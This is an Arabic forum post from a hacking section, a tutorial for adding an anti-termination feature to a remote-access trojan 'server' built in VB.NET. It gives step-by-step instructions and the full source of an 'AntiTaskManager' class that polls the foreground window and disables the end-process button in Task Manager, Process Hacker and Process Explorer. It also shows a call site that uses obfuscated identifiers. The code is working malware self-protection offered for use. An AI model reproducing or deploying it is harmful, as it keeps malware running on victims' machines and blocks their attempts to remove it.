development-point - .,":شرح اضافه خاصيه قتل او تخطي Process باباتش :",.باصور

development-point (https://vb.development-point.com/index.php)

- قسم إختراق الأجـهـزه والأيـمـيـلات (https://vb.development-point.com/forumdisplay.php?f=17)

- - .,":شرح اضافه خاصيه قتل او تخطي Process باباتش :",.باصور (https://vb.development-point.com/showthread.php?t=20439)

.,":شرح اضافه خاصيه قتل او تخطي Process باباتش :",.باصور

سلام عليكم ورحمة الله وبركاتة

اخباركم ياصقور الابداع

اليوم شرحنا اضافه خاصيه قتل Process بافيجول ستديو

ولله من زمان عنكم عارف بس ولله بي سبب دراسه واتمنى تسمحوني

متطلبات
1-VB.NET Code Source Generator Tools V 2.5 By ıllıllıMя.HackeяsDzıllıllı
2-كود منع قتل -=- بضعه بي اخر موضوع
3-vb.net = من 2008 وصاعد ^_^
4-باتش
شرح

1-اختر باتش
2-اضغط كما بيس صوره
http://im31.gulfup.com/4GDXA.jpg
بعدين افتح مشروع
=================================

1-نضيف موديل
http://im39.gulfup.com/QFuHi.jpg
==================================
لازم نخلي اسمه كذا
AntiTaskManager.vb
http://im38.gulfup.com/bLtXH.jpg

===================
نروح للموديل ونحذف كل الي فيه ونضع فيه كود =-- كود تلقه بي نهايه شرح
=======================
=============
=======
====
طريقه الاستدعاء
=
نذهب الى موديل ثاني
ونسوي كذا

قبل
http://im40.gulfup.com/kdpsw.jpg

بعد
http://im39.gulfup.com/9PQdQ.jpg
===========================

كود:

نشوي فراغ  عند كلمة



Module Module2

نكتبت تحت ذي كلمة



    Dim c As New AntiTaskManager

    Dim t As New Threading.Thread(AddressOf c.protect)



نحط فراغ تحت كلمة 



        PvpvQMryxTiAVTiOHrenNIrcY.DYxkLxrInuhEKMpNyRex(DEVPOINT, Application.ExecutablePath)

ونتكبت تحته

Call t.Start()

===================
بعدين نسوي بلد = شرح عمل بلد = اضغط على زر
ctrl + shift + B
=============
انا لقيته هنا

C:\Users\BrN\Desktop\Server\bin\Debug
=====================
http://im36.gulfup.com/GhSh4.jpg

==
شباب مو لازم برنامج الاول

الى جيت تشفر او اي شي الى تبي تضيف سوي نفس شرح ونفس الاستدعاء

=================

واتمنى اضافه لقب على اسمي
يكون لقب مكتوب فيه
.,":ملك تشفير:",.
عارف اني مبالغ فيه بس اتمنى اضافته

كود:

Public Class AntiTaskManager

    ' C0d3d bY njq8

    <Runtime.InteropServices.DllImport("user32.dll")> _

    Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean

    End Function

    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As  _

    IntPtr, ByRef lpdwProcessID As Integer) As Integer

    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr

    Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _

    Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer

    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _

    hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer

    Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _

    ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32

    Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32

    Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean

    Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _

    lParam As Int32) As Boolean

    Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _

    ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32

    Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean

        CLD.Add(hWnd)

        Return True

    End Function

    Public Sub protect()

        While True

            Threading.Thread.Sleep(200)

            Dim hwd = GetForegroundWindow

            If hwd.ToInt32 = 0 Then Continue While

            Dim id As Integer = 0

            GetWindowThreadProcessId(hwd, id)

            If id > 0 Then

                Dim Title As String = ""

                Dim text_len As Integer = GetWindowTextLength(hwd)

                If text_len = 0 Then

                    Title = ""

                Else

                    Dim sb As New System.Text.StringBuilder(text_len + 1)

                    Dim ret = GetWindowText(hwd, sb, sb.Capacity)

                    If ret = 0 Then

                        Title = ""

                    Else

                        Title = sb.ToString

                    End If

                End If

                Dim p As Process = Process.GetProcessById(id)

                If p.ProcessName.ToLower = "taskmgr" Or p.ProcessName.ToLower _

                = "processhacker" Or Title.ToLower = "process explorer" Then

                    Dim button As New List(Of IntPtr)

                    Dim statics As Integer = 0

                    For Each x As IntPtr In GetChild(hwd)

                        Dim className As String = Space(200)

                        Dim ln As Integer = GetClassName(x, className, 200)

                        className = className.Remove(ln, 200 - ln)

                        If className.ToLower = "button" Then

                            button.Add(x)

                        End If

                        If className.ToLower = "static" Or className.ToLower _

                        = "directuihwnd" Then

                            statics += 1

                        End If

                    Next

                    If button.Count = 2 And (statics = 2 Or statics = 1) Then

                        EnableWindow(button(0), False)

                        SendMessage(button(0), &HC, 0, "sqebd")

                    End If

                End If

            End If

        End While

    End Sub

    Private CLD As New List(Of IntPtr)

    Private Function GetChild(ByVal hwd As IntPtr) As IntPtr()

        SyncLock Me

            CLD.Clear()

            EnumChildWindows(hwd, New EnumWindProc(AddressOf EnumChild), 0)

            Return CLD.ToArray

        End SyncLock

    End Function

End Class